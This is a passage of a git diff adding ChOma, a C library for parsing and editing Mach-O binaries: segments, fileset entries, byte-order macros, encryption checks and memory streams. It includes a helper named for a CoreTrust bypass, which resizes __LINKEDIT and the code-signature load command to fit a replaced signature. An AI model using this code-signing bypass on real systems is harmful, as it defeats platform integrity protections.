SECTION_APPLY_BYTE_ORDER(§ion, LITTLE_TO_HOST_APPLIER); + + (*segment)->sections[i] = (struct section_64) { + .addr = section.addr, + .align = section.align, + .flags = section.flags, + .nreloc = section.nreloc, + .offset = section.offset, + .reserved1 = section.reserved1, + .reserved2 = section.reserved2, + .reserved3 = 0, + .size = section.size, + }; + + memcpy((*segment)->sections[i].sectname, section.sectname, sizeof(section.sectname)); + memcpy((*segment)->sections[i].segname, section.segname, sizeof(section.segname)); + } + } + else if (!macho->is32Bit && loadCommand.cmd == LC_SEGMENT_64) { + macho->segmentCount++; + if (macho->segments == NULL) { macho->segments = malloc(macho->segmentCount * sizeof(MachOSegment*)); } + else { macho->segments = realloc(macho->segments, macho->segmentCount * sizeof(MachOSegment*)); } + macho->segments[macho->segmentCount-1] = malloc(loadCommand.cmdsize); + memcpy(macho->segments[macho->segmentCount-1], cmd, loadCommand.cmdsize); + SEGMENT_COMMAND_64_APPLY_BYTE_ORDER(&macho->segments[macho->segmentCount-1]->command, LITTLE_TO_HOST_APPLIER); + for (uint32_t i = 0; i < macho->segments[macho->segmentCount-1]->command.nsects; i++) { + SECTION_64_APPLY_BYTE_ORDER(&macho->segments[macho->segmentCount-1]->sections[i], LITTLE_TO_HOST_APPLIER); + } + } + }); +} + +int macho_parse_fileset_machos(MachO *macho) +{ + if (macho_get_filetype(macho) != MH_FILESET) return -1; + return macho_enumerate_load_commands(macho, ^(struct load_command loadCommand, uint64_t offset, void *cmd, bool *stop) { + if (loadCommand.cmd == LC_FILESET_ENTRY) { + uint32_t i = macho->filesetCount; + macho->filesetCount++; + + struct fileset_entry_command *filesetCommand = cmd; + FILESET_ENTRY_COMMAND_APPLY_BYTE_ORDER(filesetCommand, LITTLE_TO_HOST_APPLIER); + + if (macho->filesetMachos == NULL) { macho->filesetMachos = malloc(macho->filesetCount * sizeof(FilesetMachO)); } + else { macho->filesetMachos = realloc(macho->filesetMachos, macho->filesetCount * sizeof(FilesetMachO)); } + + FilesetMachO *filesetMacho = &macho->filesetMachos[i]; + filesetMacho->entry_id = strdup((char *)cmd + filesetCommand->entry_id.offset); + filesetMacho->vmaddr = filesetCommand->vmaddr; + filesetMacho->fileoff = filesetCommand->fileoff; + + MemoryStream *subStream = memory_stream_softclone(macho->stream); + + // TODO: Also cut trim to the end of the macho, but for that we would need to determine it's size + memory_stream_trim(subStream, filesetCommand->fileoff, 0); + filesetMacho->underlyingMachO = fat_init_from_memory_stream(subStream); + } + }); +} + +int _macho_parse(MachO *macho) +{ + macho->is32Bit = (macho->archDescriptor.cpusubtype == CPU_SUBTYPE_ARM_V6 || macho->archDescriptor.cpusubtype == CPU_SUBTYPE_ARM_V7 || macho->archDescriptor.cpusubtype == CPU_SUBTYPE_ARM_V7S); + if (macho->machHeader.sizeofcmds % (macho->is32Bit ? sizeof(uint32_t) : sizeof(uint64_t)) != 0) { + printf("Error: sizeofcmds is not a multiple of %lu (%d).\n", macho->is32Bit ? sizeof(uint32_t) : sizeof(uint64_t), macho->machHeader.sizeofcmds); + return -1; + } + macho_parse_segments(macho); + macho_parse_fileset_machos(macho); + return 0; +} + +MachO *macho_init(MemoryStream *stream, struct fat_arch_64 archDescriptor) +{ + MachO *macho = malloc(sizeof(MachO)); + if (!macho) return NULL; + memset(macho, 0, sizeof(MachO)); + + macho->stream = stream; + macho->archDescriptor = archDescriptor; + if (macho_read_at_offset(macho, 0, sizeof(macho->machHeader), &macho->machHeader) != 0) goto fail; + MACH_HEADER_APPLY_BYTE_ORDER(&macho->machHeader, LITTLE_TO_HOST_APPLIER); + + // Check the magic against the expected values + if (macho->machHeader.magic != MH_MAGIC_64 && macho->machHeader.magic != MH_MAGIC) { + goto fail; + } + + if (_macho_parse(macho) != 0) goto fail; + + return macho; + +fail: + macho_free(macho); + return NULL; +} + +MachO *macho_init_for_writing(const char *filePath) +{ + MachO *macho = malloc(sizeof(MachO)); + if (!macho) return NULL; + memset(macho, 0, sizeof(MachO)); + + macho->stream = file_stream_init_from_path(filePath, 0, FILE_STREAM_SIZE_AUTO, FILE_STREAM_FLAG_WRITABLE | FILE_STREAM_FLAG_AUTO_EXPAND); + if (!macho->stream) goto fail; + + size_t fileSize = memory_stream_get_size(macho->stream); + memory_stream_read(macho->stream, 0, sizeof(struct mach_header), &macho->machHeader); + MACH_HEADER_APPLY_BYTE_ORDER(&macho->machHeader, HOST_TO_LITTLE_APPLIER); + if (macho->machHeader.magic != MH_MAGIC_64) goto fail; + + macho->archDescriptor.cpusubtype = macho->machHeader.cpusubtype; + macho->archDescriptor.cputype = macho->machHeader.cputype; + macho->archDescriptor.offset = 0; + macho->archDescriptor.size = fileSize; + macho->archDescriptor.align = 0x4000; + + if (_macho_parse(macho) != 0) goto fail; + + return macho; + +fail: + macho_free(macho); + return NULL; +} + +MachO **macho_array_create_for_paths(char **inputPaths, int inputPathsCount) { + Fat **fatArray = malloc(sizeof(Fat *) * inputPathsCount); + MachO **machoArray; + int sliceCount = 0; + for (int i = 0; i < inputPathsCount; i++) { + Fat *fat = fat_init_from_path(inputPaths[i]); + if (!fat) { + printf("Error: failed to create Fat from file: %s\n", inputPaths[i]); + return NULL; + } + sliceCount += fat->slicesCount; + fatArray[i] = fat; + } + machoArray = malloc(sizeof(MachO *) * sliceCount); + for (int i = 0; i < inputPathsCount; i++) { + for (int j = 0; j < fatArray[i]->slicesCount; j++) { + machoArray[i] = fatArray[i]->slices[j]; + } + } + return machoArray; +} + +bool macho_is_encrypted(MachO *macho) +{ + __block bool isEncrypted = false; + macho_enumerate_load_commands(macho, ^(struct load_command loadCommand, uint64_t offset, void *cmd, bool *stop) { + if (loadCommand.cmd == LC_ENCRYPTION_INFO_64 || loadCommand.cmd == LC_ENCRYPTION_INFO) { + struct encryption_info_command *encryptionInfoCommand = cmd; + ENCRYPTION_INFO_COMMAND_APPLY_BYTE_ORDER(encryptionInfoCommand, LITTLE_TO_HOST_APPLIER); + if (encryptionInfoCommand->cryptid == 1) { + *stop = true; + isEncrypted = true; + } + } + }); + return isEncrypted; +} + +void macho_free(MachO *macho) +{ + if (macho->filesetCount != 0 && macho->filesetMachos) { + for (uint32_t i = 0; i < macho->filesetCount; i++) { + fat_free(macho->filesetMachos[i].underlyingMachO); + free(macho->filesetMachos[i].entry_id); + } + free(macho->filesetMachos); + } + if (macho->segmentCount != 0 && macho->segments) { + for (uint32_t i = 0; i < macho->segmentCount; i++) { + free(macho->segments[i]); + } + free(macho->segments); + } + if (macho->stream) { + memory_stream_free(macho->stream); + } + free(macho); +} diff --git a/XPF/external/ChOma/src/MachO.h b/XPF/external/ChOma/src/MachO.h new file mode 100644 index 0000000..d02ac6f --- /dev/null +++ b/XPF/external/ChOma/src/MachO.h @@ -0,0 +1,91 @@ +#ifndef MACHO_SLICE_H +#define MACHO_SLICE_H + +#include +#include +#include +#include "MemoryStream.h" +#include "Fat.h" +#include "DyldSharedCache.h" + +typedef struct MachOSegment +{ + struct segment_command_64 command; + struct section_64 sections[]; +} __attribute__((__packed__)) MachOSegment; + +typedef struct FilesetMachO { + char *entry_id; + uint64_t vmaddr; + uint64_t fileoff; + Fat *underlyingMachO; +} FilesetMachO; + +typedef struct MachO { + MemoryStream *stream; + bool is32Bit; + struct mach_header machHeader; + struct fat_arch_64 archDescriptor; + uint64_t cachedBase; + + uint32_t filesetCount; + FilesetMachO *filesetMachos; + + uint32_t segmentCount; + MachOSegment **segments; + + DyldSharedCache *containingCache; + DyldSharedCacheImage *cacheImage; +} MachO; + +// Read data from a MachO at a specified offset +int macho_read_at_offset(MachO *macho, uint64_t offset, size_t size, void *outBuf); + +// Write data from a MachO at a specified offset, auto expands, only works if opened via macho_init_for_writing +int macho_write_at_offset(MachO *macho, uint64_t offset, size_t size, const void *inBuf); + +int macho_read_string_at_offset(MachO *macho, uint64_t offset, char **string); +int macho_read_uleb128_at_offset(MachO *macho, uint64_t offset, uint64_t maxOffset, uint64_t *endOffsetOut, uint64_t *valueOut); + +MemoryStream *macho_get_stream(MachO *macho); +uint32_t macho_get_filetype(MachO *macho); +struct mach_header *macho_get_mach_header(MachO *macho); +size_t macho_get_mach_header_size(MachO *macho); +DyldSharedCache *macho_get_containing_cache(MachO *macho); + +// Perform translation between file offsets and virtual addresses +int macho_translate_fileoff_to_vmaddr(MachO *macho, uint64_t fileoff, uint64_t *vmaddrOut, MachOSegment **segmentOut); +int macho_translate_vmaddr_to_fileoff(MachO *macho, uint64_t vmaddr, uint64_t *fileoffOut, MachOSegment **segmentOut); + +// Wrappers to deal with virtual addresses +int macho_read_at_vmaddr(MachO *macho, uint64_t vmaddr, size_t size, void *outBuf); +int macho_write_at_vmaddr(MachO *macho, uint64_t vmaddr, size_t size, const void *inBuf); +int macho_read_string_at_vmaddr(MachO *macho, uint64_t vmaddr, char **outString); +uint64_t macho_get_base_address(MachO *macho); + +int macho_enumerate_load_commands(MachO *macho, void (^enumeratorBlock)(struct load_command loadCommand, uint64_t offset, void *cmd, bool *stop)); +int macho_enumerate_segments(MachO *macho, void (^enumeratorBlock)(struct segment_command_64 *segment, bool *stop)); +int macho_enumerate_sections(MachO *macho, void (^enumeratorBlock)(struct section_64 *section, struct segment_command_64 *segment, bool *stop)); +int macho_enumerate_symbols(MachO *macho, void (^enumeratorBlock)(const char *name, uint8_t type, uint64_t vmaddr, bool *stop)); +int macho_enumerate_dependencies(MachO *macho, void (^enumeratorBlock)(const char *dylibPath, uint32_t cmd, struct dylib* dylib, bool *stop)); +int macho_enumerate_rpaths(MachO *macho, void (^enumeratorBlock)(const char *rpath, bool *stop)); +int macho_enumerate_function_starts(MachO *macho, void (^enumeratorBlock)(uint64_t funcAddr, bool *stop)); + +int macho_lookup_segment_by_addr(MachO *macho, uint64_t vmaddr, struct segment_command_64 *segmentOut); +int macho_lookup_section_by_addr(MachO *macho, uint64_t vmaddr, struct section_64 *sectionOut); + +// Initialise a MachO object from a MemoryStream and it's corresponding Fat arch descriptor +MachO *macho_init(MemoryStream *stream, struct fat_arch_64 archDescriptor); + +// Initialize a single slice macho for writing to it +MachO *macho_init_for_writing(const char *filePath); + +// Create an array of MachO objects from an array of paths +MachO **macho_array_create_for_paths(char **inputPaths, int inputPathsCount); + +// Check if a MachO is encrypted +bool macho_is_encrypted(MachO *macho); + +void macho_free(MachO *macho); + +#endif // MACHO_SLICE_H diff --git a/XPF/external/ChOma/src/MachOByteOrder.h b/XPF/external/ChOma/src/MachOByteOrder.h new file mode 100644 index 0000000..c052d78 --- /dev/null +++ b/XPF/external/ChOma/src/MachOByteOrder.h @@ -0,0 +1,229 @@ +#ifndef MACHO_BYTE_ORDER_H +#define MACHO_BYTE_ORDER_H + +#include +#include +#include + +// 8-bit integers needed for CodeDirectory +#define BIG_TO_HOST(n) _Generic((n), \ + int8_t: n, \ + uint8_t: n, \ + int16_t: OSSwapBigToHostInt16(n), \ + uint16_t: OSSwapBigToHostInt16(n), \ + int32_t: OSSwapBigToHostInt32(n), \ + uint32_t: OSSwapBigToHostInt32(n), \ + int64_t: OSSwapBigToHostInt64(n), \ + uint64_t: OSSwapBigToHostInt64(n) \ +) + +#define HOST_TO_BIG(n) _Generic((n), \ + int8_t: n, \ + uint8_t: n, \ + uint16_t: OSSwapHostToBigInt16(n), \ + int16_t: OSSwapHostToBigInt16(n), \ + int32_t: OSSwapHostToBigInt32(n), \ + uint32_t: OSSwapHostToBigInt32(n), \ + int64_t: OSSwapHostToBigInt64(n), \ + uint64_t: OSSwapHostToBigInt64(n) \ +) + +#define LITTLE_TO_HOST(n) _Generic((n), \ + int8_t: n, \ + uint8_t: n, \ + int16_t: OSSwapLittleToHostInt16(n), \ + uint16_t: OSSwapLittleToHostInt16(n), \ + int32_t: OSSwapLittleToHostInt32(n), \ + uint32_t: OSSwapLittleToHostInt32(n), \ + int64_t: OSSwapLittleToHostInt64(n), \ + uint64_t: OSSwapLittleToHostInt64(n) \ +) + +#define HOST_TO_LITTLE(n) _Generic((n), \ + int8_t: n, \ + uint8_t: n, \ + int16_t: OSSwapHostToLittleInt16(n), \ + uint16_t: OSSwapHostToLittleInt16(n), \ + int32_t: OSSwapHostToLittleInt32(n), \ + uint32_t: OSSwapHostToLittleInt32(n), \ + int64_t: OSSwapHostToLittleInt64(n), \ + uint64_t: OSSwapHostToLittleInt64(n) \ +) + +#define HOST_TO_LITTLE_APPLIER(instance, member) \ + (instance)->member = HOST_TO_LITTLE((instance)->member) + +#define HOST_TO_BIG_APPLIER(instance, member) \ + (instance)->member = HOST_TO_BIG((instance)->member) + +#define LITTLE_TO_HOST_APPLIER(instance, member) \ + (instance)->member = LITTLE_TO_HOST((instance)->member) + +#define BIG_TO_HOST_APPLIER(instance, member) \ + (instance)->member = BIG_TO_HOST((instance)->member) + +#define FAT_HEADER_APPLY_BYTE_ORDER(fh, applier) \ + applier(fh, magic); \ + applier(fh, nfat_arch); + +#define FAT_ARCH_APPLY_BYTE_ORDER(arch, applier) \ + applier(arch, cputype); \ + applier(arch, cpusubtype); \ + applier(arch, offset); \ + applier(arch, size); \ + applier(arch, align); + +#define FAT_ARCH_64_APPLY_BYTE_ORDER(arch, applier) \ + applier(arch, cputype); \ + applier(arch, cpusubtype); \ + applier(arch, offset); \ + applier(arch, size); \ + applier(arch, align); \ + applier(arch, reserved); + +#define MACH_HEADER_APPLY_BYTE_ORDER(mh, applier) \ + applier(mh, magic); \ + applier(mh, cputype); \ + applier(mh, cpusubtype); \ + applier(mh, filetype); \ + applier(mh, ncmds); \ + applier(mh, sizeofcmds); + +#define LOAD_COMMAND_APPLY_BYTE_ORDER(lc, applier) \ + applier(lc, cmd); \ + applier(lc, cmdsize); + +#define LINKEDIT_DATA_COMMAND_APPLY_BYTE_ORDER(lc, applier) \ + applier(lc, cmd); \ + applier(lc, cmdsize); \ + applier(lc, dataoff); \ + applier(lc, datasize); + +#define ENCRYPTION_INFO_COMMAND_APPLY_BYTE_ORDER(eic, applier) \ + applier(eic, cmd); \ + applier(eic, cmdsize); \ + applier(eic, cryptoff); \ + applier(eic, cryptsize); \ + applier(eic, cryptid); + +#define BLOB_INDEX_APPLY_BYTE_ORDER(bi, applier) \ + applier(bi, type); \ + applier(bi, offset); + +#define SUPERBLOB_APPLY_BYTE_ORDER(sb, applier) \ + applier(sb, magic); \ + applier(sb, length); \ + applier(sb, count); + +#define GENERIC_BLOB_APPLY_BYTE_ORDER(gb, applier) \ + applier(gb, magic); \ + applier(gb, length); + +#define CODE_DIRECTORY_APPLY_BYTE_ORDER(cd, applier) \ + applier(cd, magic); \ + applier(cd, length); \ + applier(cd, version); \ + applier(cd, flags); \ + applier(cd, hashOffset); \ + applier(cd, identOffset); \ + applier(cd, nSpecialSlots); \ + applier(cd, nCodeSlots); \ + applier(cd, codeLimit); \ + applier(cd, hashSize); \ + applier(cd, hashType); \ + applier(cd, platform); \ + applier(cd, pageSize); \ + applier(cd, spare2); \ + applier(cd, scatterOffset); \ + applier(cd, teamOffset); + +#define SEGMENT_COMMAND_APPLY_BYTE_ORDER(sc, applier) \ + applier(sc, cmd); \ + applier(sc, cmdsize); \ + applier(sc, fileoff); \ + applier(sc, filesize); \ + applier(sc, vmaddr); \ + applier(sc, vmsize); \ + applier(sc, flags); \ + applier(sc, initprot); \ + applier(sc, maxprot); \ + applier(sc, nsects); + +#define SEGMENT_COMMAND_64_APPLY_BYTE_ORDER(sc64, applier) \ + applier(sc64, cmd); \ + applier(sc64, cmdsize); \ + applier(sc64, fileoff); \ + applier(sc64, filesize); \ + applier(sc64, vmaddr); \ + applier(sc64, vmsize); \ + applier(sc64, flags); \ + applier(sc64, initprot); \ + applier(sc64, maxprot); \ + applier(sc64, nsects); + +#define SECTION_APPLY_BYTE_ORDER(sc, applier) \ + applier(sc, addr); \ + applier(sc, align); \ + applier(sc, flags); \ + applier(sc, nreloc); \ + applier(sc, offset); \ + applier(sc, reserved1); \ + applier(sc, reserved2); \ + applier(sc, size); + +#define SECTION_64_APPLY_BYTE_ORDER(sc64, applier) \ + applier(sc64, addr); \ + applier(sc64, align); \ + applier(sc64, flags); \ + applier(sc64, nreloc); \ + applier(sc64, offset); \ + applier(sc64, reserved1); \ + applier(sc64, reserved2); \ + applier(sc64, reserved3); \ + applier(sc64, size); + +#define FILESET_ENTRY_COMMAND_APPLY_BYTE_ORDER(fse, applier) \ + applier(fse, cmd); \ + applier(fse, cmdsize); \ + applier(fse, vmaddr); \ + applier(fse, fileoff); \ + applier(fse, entry_id.offset); \ + applier(fse, reserved); + +#define SYMTAB_COMMAND_APPLY_BYTE_ORDER(symt, applier) \ + applier(symt, cmd); \ + applier(symt, cmdsize); \ + applier(symt, nsyms); \ + applier(symt, stroff); \ + applier(symt, strsize); \ + applier(symt, symoff); + +#define NLIST_APPLY_BYTE_ORDER(nl, applier) \ + applier(nl, n_un.n_strx); \ + applier(nl, n_type); \ + applier(nl, n_sect); \ + applier(nl, n_desc); \ + applier(nl, n_value); + +#define NLIST_64_APPLY_BYTE_ORDER(nl, applier) \ + applier(nl, n_un.n_strx); \ + applier(nl, n_type); \ + applier(nl, n_sect); \ + applier(nl, n_desc); \ + applier(nl, n_value); + +#define DYLIB_APPLY_BYTE_ORDER(dylib, applier) \ + applier(dylib, name.offset); \ + applier(dylib, timestamp); \ + applier(dylib, current_version); \ + applier(dylib, compatibility_version); + +#define DYLIB_COMMAND_APPLY_BYTE_ORDER(dycmd, applier) \ + LOAD_COMMAND_APPLY_BYTE_ORDER(dycmd, applier); \ + DYLIB_APPLY_BYTE_ORDER((&dycmd->dylib), applier); + +#define RPATH_COMMAND_APPLY_BYTE_ORDER(rpcmd, applier) \ + LOAD_COMMAND_APPLY_BYTE_ORDER(rpcmd, applier); \ + applier(rpcmd, path.offset); + +#endif // MACHO_BYTE_ORDER_H diff --git a/XPF/external/ChOma/src/MachOLoadCommand.c b/XPF/external/ChOma/src/MachOLoadCommand.c new file mode 100644 index 0000000..ab22741 --- /dev/null +++ b/XPF/external/ChOma/src/MachOLoadCommand.c @@ -0,0 +1,189 @@ +#include "MachOLoadCommand.h" +#include "Util.h" +#include "CSBlob.h" + +char *load_command_to_string(int loadCommand) { + switch (loadCommand) { + case LC_SEGMENT: + return "LC_SEGMENT"; + case LC_SYMTAB: + return "LC_SYMTAB"; + case LC_SYMSEG: + return "LC_SYMSEG"; + case LC_THREAD: + return "LC_THREAD"; + case LC_UNIXTHREAD: + return "LC_UNIXTHREAD"; + case LC_LOADFVMLIB: + return "LC_LOADFVMLIB"; + case LC_IDFVMLIB: + return "LC_IDFVMLIB"; + case LC_IDENT: + return "LC_IDENT"; + case LC_FVMFILE: + return "LC_FVMFILE"; + case LC_PREPAGE: + return "LC_PREPAGE"; + case LC_DYSYMTAB: + return "LC_DYSYMTAB"; + case LC_LOAD_DYLIB: + return "LC_LOAD_DYLIB"; + case LC_ID_DYLIB: + return "LC_ID_DYLIB"; + case LC_LOAD_DYLINKER: + return "LC_LOAD_DYLINKER"; + case LC_ID_DYLINKER: + return "LC_ID_DYLINKER"; + case LC_PREBOUND_DYLIB: + return "LC_PREBOUND_DYLIB"; + case LC_ROUTINES: + return "LC_ROUTINES"; + case LC_SUB_FRAMEWORK: + return "LC_SUB_FRAMEWORK"; + case LC_SUB_UMBRELLA: + return "LC_SUB_UMBRELLA"; + case LC_SUB_CLIENT: + return "LC_SUB_CLIENT"; + case LC_SUB_LIBRARY: + return "LC_SUB_LIBRARY"; + case LC_TWOLEVEL_HINTS: + return "LC_TWOLEVEL_HINTS"; + case LC_PREBIND_CKSUM: + return "LC_PREBIND_CKSUM"; + case LC_LOAD_WEAK_DYLIB: + return "LC_LOAD_WEAK_DYLIB"; + case LC_SEGMENT_64: + return "LC_SEGMENT_64"; + case LC_ROUTINES_64: + return "LC_ROUTINES_64"; + case LC_UUID: + return "LC_UUID"; + case LC_RPATH: + return "LC_RPATH"; + case LC_CODE_SIGNATURE: + return "LC_CODE_SIGNATURE"; + case LC_SEGMENT_SPLIT_INFO: + return "LC_SEGMENT_SPLIT_INFO"; + case LC_REEXPORT_DYLIB: + return "LC_REEXPORT_DYLIB"; + case LC_LAZY_LOAD_DYLIB: + return "LC_LAZY_LOAD_DYLIB"; + case LC_ENCRYPTION_INFO: + return "LC_ENCRYPTION_INFO"; + case LC_DYLD_INFO: + return "LC_DYLD_INFO"; + case LC_DYLD_INFO_ONLY: + return "LC_DYLD_INFO_ONLY"; + case LC_LOAD_UPWARD_DYLIB: + return "LC_LOAD_UPWARD_DYLIB"; + case LC_VERSION_MIN_MACOSX: + return "LC_VERSION_MIN_MACOSX"; + case LC_VERSION_MIN_IPHONEOS: + return "LC_VERSION_MIN_IPHONEOS"; + case LC_FUNCTION_STARTS: + return "LC_FUNCTION_STARTS"; + case LC_DYLD_ENVIRONMENT: + return "LC_DYLD_ENVIRONMENT"; + case LC_MAIN: + return "LC_MAIN"; + case LC_DATA_IN_CODE: + return "LC_DATA_IN_CODE"; + case LC_SOURCE_VERSION: + return "LC_SOURCE_VERSION"; + case LC_DYLIB_CODE_SIGN_DRS: + return "LC_DYLIB_CODE_SIGN_DRS"; + case LC_ENCRYPTION_INFO_64: + return "LC_ENCRYPTION_INFO_64"; + case LC_LINKER_OPTION: + return "LC_LINKER_OPTION"; + case LC_LINKER_OPTIMIZATION_HINT: + return "LC_LINKER_OPTIMIZATION_HINT"; + case LC_VERSION_MIN_TVOS: + return "LC_VERSION_MIN_TVOS"; + case LC_VERSION_MIN_WATCHOS: + return "LC_VERSION_MIN_WATCHOS"; + case LC_NOTE: + return "LC_NOTE"; + case LC_BUILD_VERSION: + return "LC_BUILD_VERSION"; + case LC_DYLD_EXPORTS_TRIE: + return "LC_DYLD_EXPORTS_TRIE"; + case LC_DYLD_CHAINED_FIXUPS: + return "LC_DYLD_CHAINED_FIXUPS"; + case LC_FILESET_ENTRY: + return "LC_FILESET_ENTRY"; + default: + return "LC_UNKNOWN"; + } +} + +void update_segment_command_64(MachO *macho, const char *segmentName, uint64_t vmaddr, uint64_t vmsize, uint64_t fileoff, uint64_t filesize) { + macho_enumerate_load_commands(macho, ^(struct load_command loadCommand, uint64_t offset, void *cmd, bool *stop) { + if (loadCommand.cmd == LC_SEGMENT_64) { + struct segment_command_64 *segmentCommand = (struct segment_command_64 *)cmd; + SEGMENT_COMMAND_64_APPLY_BYTE_ORDER(segmentCommand, LITTLE_TO_HOST_APPLIER); + if (strcmp(segmentCommand->segname, segmentName) == 0) { + segmentCommand->vmaddr = vmaddr; + segmentCommand->vmsize = vmsize; + segmentCommand->fileoff = fileoff; + segmentCommand->filesize = filesize; + SEGMENT_COMMAND_64_APPLY_BYTE_ORDER(segmentCommand, HOST_TO_LITTLE_APPLIER); + memory_stream_write(macho->stream, offset, sizeof(struct segment_command_64), segmentCommand); + *stop = true; + } + } + }); +} + +void update_lc_code_signature(MachO *macho, uint64_t size) { + macho_enumerate_load_commands(macho, ^(struct load_command loadCommand, uint64_t offset, void *cmd, bool *stop) { + if (loadCommand.cmd == LC_CODE_SIGNATURE) { + struct linkedit_data_command *csLoadCommand = (struct linkedit_data_command *)cmd; + LINKEDIT_DATA_COMMAND_APPLY_BYTE_ORDER(csLoadCommand, LITTLE_TO_HOST_APPLIER); + csLoadCommand->datasize = size; + LINKEDIT_DATA_COMMAND_APPLY_BYTE_ORDER(csLoadCommand, HOST_TO_LITTLE_APPLIER); + memory_stream_write(macho->stream, offset, sizeof(struct linkedit_data_command), csLoadCommand); + *stop = true; + } + }); +} + +int update_load_commands_for_coretrust_bypass(MachO *macho, CS_SuperBlob *superblob, uint64_t originalCodeSignatureSize) { + + uint64_t sizeOfCodeSignature = BIG_TO_HOST(superblob->length); + + // Calculate how much padding we currently have + __block uint64_t blockPaddingSize = 0; + __block uint64_t vmAddress = 0; + __block uint64_t fileOffset = 0; + macho_enumerate_load_commands(macho, ^(struct load_command loadCommand, uint64_t offset, void *cmd, bool *stop) { + if (loadCommand.cmd == LC_SEGMENT_64) { + struct segment_command_64 *segmentCommand = (struct segment_command_64 *)cmd; + SEGMENT_COMMAND_64_APPLY_BYTE_ORDER(segmentCommand, LITTLE_TO_HOST_APPLIER); + if (strcmp(segmentCommand->segname, "__LINKEDIT") == 0) { + blockPaddingSize = segmentCommand->filesize - originalCodeSignatureSize; + vmAddress = segmentCommand->vmaddr; + fileOffset = segmentCommand->fileoff; + *stop = true; + } + } + }); + + if (blockPaddingSize == 0 || vmAddress == 0 || fileOffset == 0) { + printf("Error: failed to get existing values for __LINKEDIT segment.\n"); + return -1; + } + + uint64_t newSegmentSize = sizeOfCodeSignature + blockPaddingSize; + uint64_t newVMSize = align_to_size(newSegmentSize, 0x4000); + + // Update the segment command + printf("Updating __LINKEDIT segment...\n"); + update_segment_command_64(macho, "__LINKEDIT", vmAddress, newVMSize, fileOffset, newSegmentSize); + + // Update the code signature load command + printf("Updating LC_CODE_SIGNATURE load command...\n"); + update_lc_code_signature(macho, sizeOfCodeSignature); + + return 0; +} \ No newline at end of file diff --git a/XPF/external/ChOma/src/MachOLoadCommand.h b/XPF/external/ChOma/src/MachOLoadCommand.h new file mode 100644 index 0000000..9fcda6d --- /dev/null +++ b/XPF/external/ChOma/src/MachOLoadCommand.h @@ -0,0 +1,33 @@ +#ifndef MACHO_LOAD_COMMAND_H +#define MACHO_LOAD_COMMAND_H + +#include + +#ifndef LC_FILESET_ENTRY + +#define MH_FILESET 0xc +#define LC_FILESET_ENTRY 0x80000035 + +struct fileset_entry_command { + uint32_t cmd; /* LC_FILESET_ENTRY */ + uint32_t cmdsize; /* includes entry_id string */ + uint64_t vmaddr; /* memory address of the entry */ + uint64_t fileoff; /* file offset of the entry */ + union lc_str entry_id; /* contained entry id */ + uint32_t reserved; /* reserved */ +}; + +#endif + +#include "MachO.h" +#include "FileStream.h" +#include "MachOByteOrder.h" +#include "CSBlob.h" + +// Convert load command to load command name +char *load_command_to_string(int loadCommand); +void update_segment_command_64(MachO *macho, const char *segmentName, uint64_t vmaddr, uint64_t vmsize, uint64_t fileoff, uint64_t filesize); +void update_lc_code_signature(MachO *macho, uint64_t size); +int update_load_commands_for_coretrust_bypass(MachO *macho, CS_SuperBlob *superblob, uint64_t originalCodeSignatureSize); + +#endif // MACHO_LOAD_COMMAND_H \ No newline at end of file diff --git a/XPF/external/ChOma/src/MemoryStream.c b/XPF/external/ChOma/src/MemoryStream.c new file mode 100644 index 0000000..ace8d1d --- /dev/null +++ b/XPF/external/ChOma/src/MemoryStream.c @@ -0,0 +1,220 @@ +#include "MemoryStream.h" +#include "Util.h" + +int memory_stream_read(MemoryStream *stream, uint64_t offset, size_t size, void *outBuf) +{ + if (stream->read) { + int ret = stream->read(stream, offset, size, outBuf); + if (ret != size) { return -1; } + return 0; + } + return -1; +} + +int memory_stream_write(MemoryStream *stream, uint64_t offset, size_t size, const void *inBuf) +{ + if (stream->write) { + int ret = stream->write(stream, offset, size, inBuf); + if (ret != size) { return -1; } + return 0; + } + return -1; +} + +int memory_stream_insert(MemoryStream *stream, uint64_t offset, size_t size, const void *inBuf) +{ + if (!(stream->flags & MEMORY_STREAM_FLAG_MUTABLE)) goto fail; + + size_t streamSize = memory_stream_get_size(stream); + if (memory_stream_expand(stream, 0, size) != 0) goto fail; + if (memory_stream_copy_data(stream, offset, stream, offset + size, streamSize-offset) != 0) goto fail; + if (memory_stream_write(stream, offset, size, inBuf) != 0) goto fail; + return 0; + +fail: + printf("Error: memory_stream_insert failed\n"); + return -1; +} + +int memory_stream_delete(MemoryStream *stream, uint64_t offset, size_t size) +{ + if (size == 0) return 0; + if (!(stream->flags & MEMORY_STREAM_FLAG_MUTABLE)) goto fail; + + size_t streamSize = memory_stream_get_size(stream); + if (memory_stream_copy_data(stream, offset+size, stream, offset, streamSize-(offset+size)) != 0) goto fail; + if (memory_stream_trim(stream, 0, size) != 0) goto fail; + return 0; + +fail: + printf("Error: memory_stream_delete failed\n"); + return -1; +} + +int memory_stream_read_string(MemoryStream *stream, uint64_t offset, char **outString) +{ + size_t size = 0; + char c = 1; + while (c != 0) { + int r = memory_stream_read(stream, offset+size, sizeof(c), &c); + if (r != 0) return r; + size++; + } + + *outString = malloc(size+1); + return memory_stream_read(stream, offset, size+1, *outString); +} + +int memory_stream_write_string(MemoryStream *stream, uint64_t offset, const char *string) +{ + size_t size = strlen(string) + 1; + return memory_stream_write(stream, offset, size, string); +} + +size_t memory_stream_get_size(MemoryStream *stream) +{ + if (stream->getSize) { + size_t sizeOut; + if (stream->getSize(stream, &sizeOut) == 0) return sizeOut; + } + return MEMORY_STREAM_SIZE_INVALID; +} + +uint8_t *memory_stream_get_raw_pointer(MemoryStream *stream) +{ + if (stream->getRawPtr) { + return stream->getRawPtr(stream); + } + return NULL; +} + +uint32_t memory_stream_get_flags(MemoryStream *stream) +{ + return stream->flags; +} + +void _memory_stream_clone(MemoryStream *clone, MemoryStream *stream) +{ + clone->read = stream->read; + clone->write = stream->write; + clone->getSize = stream->getSize; + clone->getRawPtr = stream->getRawPtr; + + clone->trim = stream->trim; + clone->expand = stream->expand; + + clone->softclone = stream->softclone; + clone->hardclone = stream->hardclone; + clone->free = stream->free; +} + +MemoryStream *memory_stream_softclone(MemoryStream *stream) +{ + if (stream->softclone) { + MemoryStream *clone = stream->softclone(stream); + if (clone) { + _memory_stream_clone(clone, stream); + return clone; + } + } + return NULL; +} + +MemoryStream *memory_stream_hardclone(MemoryStream *stream) +{ + if (stream->hardclone) { + MemoryStream *clone = stream->hardclone(stream); + if (clone) { + _memory_stream_clone(clone, stream); + return clone; + } + } + return NULL; +} + +int memory_stream_trim(MemoryStream *stream, size_t trimAtStart, size_t trimAtEnd) +{ + if (stream->trim) { + return stream->trim(stream, trimAtStart, trimAtEnd); + } + return 